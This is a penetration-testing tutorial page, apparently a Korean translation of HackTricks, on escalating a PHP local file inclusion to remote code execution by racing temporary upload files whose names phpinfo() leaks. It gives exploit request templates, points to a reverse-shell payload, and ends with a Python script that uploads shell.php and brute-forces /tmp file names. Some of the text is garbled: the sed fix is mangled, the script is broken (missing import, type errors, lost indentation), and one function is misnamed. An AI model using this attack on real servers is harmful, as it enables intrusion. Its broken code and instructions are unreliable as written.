LFI2RCE via phpinfo()

Support HackTricks

이 취약점을 이용하려면 다음이 필요합니다: LFI 취약점, phpinfo()가 표시되는 페이지, "file_uploads = on" 및 서버가 "/tmp" 디렉토리에 쓸 수 있어야 합니다.

https://www.insomniasec.com/downloads/publications/phpinfolfi.py

Tutorial HTB: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s

익스플로잇을 수정해야 합니다 ( **=>**를 **=>**로 변경). 그렇게 하려면 다음을 수행할 수 있습니다:

sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\&gt/g' phpinfolfi.py

You have to change also the payload at the beginning of the exploit (for a php-rev-shell for example), the REQ1 (this should point to the phpinfo page and should have the padding included, i.e.: REQ1="""POST /install.php?mode=phpinfo&a="""+padding+""" HTTP/1.1), and LFIREQ (this should point to the LFI vulnerability, i.e.: LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r -- Check the double "%" when exploiting null char)

이론

PHP에서 업로드가 허용되면 파일을 업로드하려고 할 때, 이 파일은 서버가 요청 처리를 완료할 때까지 임시 디렉토리에 저장되며, 그 후 이 임시 파일은 삭제됩니다.

그런 다음, 웹 서버에서 LFI 취약점을 발견하면 생성된 임시 파일의 이름을 추측하고 삭제되기 전에 임시 파일에 접근하여 RCE를 악용할 수 있습니다.

Windows에서는 파일이 일반적으로 C:\Windows\temp\php에 저장됩니다.

Linux에서는 파일 이름이 무작위이며 /tmp에 위치합니다. 이름이 무작위이기 때문에 어딘가에서 임시 파일의 이름을 추출하고 삭제되기 전에 접근해야 합니다. 이는 "phpconfig()" 함수의 내용 내에서 변수 $_FILES의 값을 읽어 수행할 수 있습니다.

phpinfo()

PHP4096B의 버퍼를 사용하며, 버퍼가 가득 차면 클라이언트에 전송됩니다. 그런 다음 클라이언트는 많은 큰 요청(큰 헤더를 사용하여) php 리버스 쉘을 업로드하고, phpinfo()의 첫 번째 부분이 반환될 때까지 기다린 후(임시 파일의 이름이 있는 곳) LFI 취약점을 악용하여 임시 파일에 접근하려고 시도할 수 있습니다.

이름을 브루트포스 시도하기 위한 Python 스크립트 (길이 = 6)

import itertools
import requests
import sys

print('[+] Trying to win the race')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):
requests.post('http://target.com/index.php?c=index.php', f)


print('[+] Bruteforcing the inclusion')
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
url = 'http://target.com/index.php?c=/tmp/php' + fname
r = requests.get(url)
if 'load average' in r.text:  # <?php echo system('uptime');
print('[+] We have got a shell: ' + url)
sys.exit(0)

print('[x] Something went wrong, please try again')
Support HackTricks

Last updated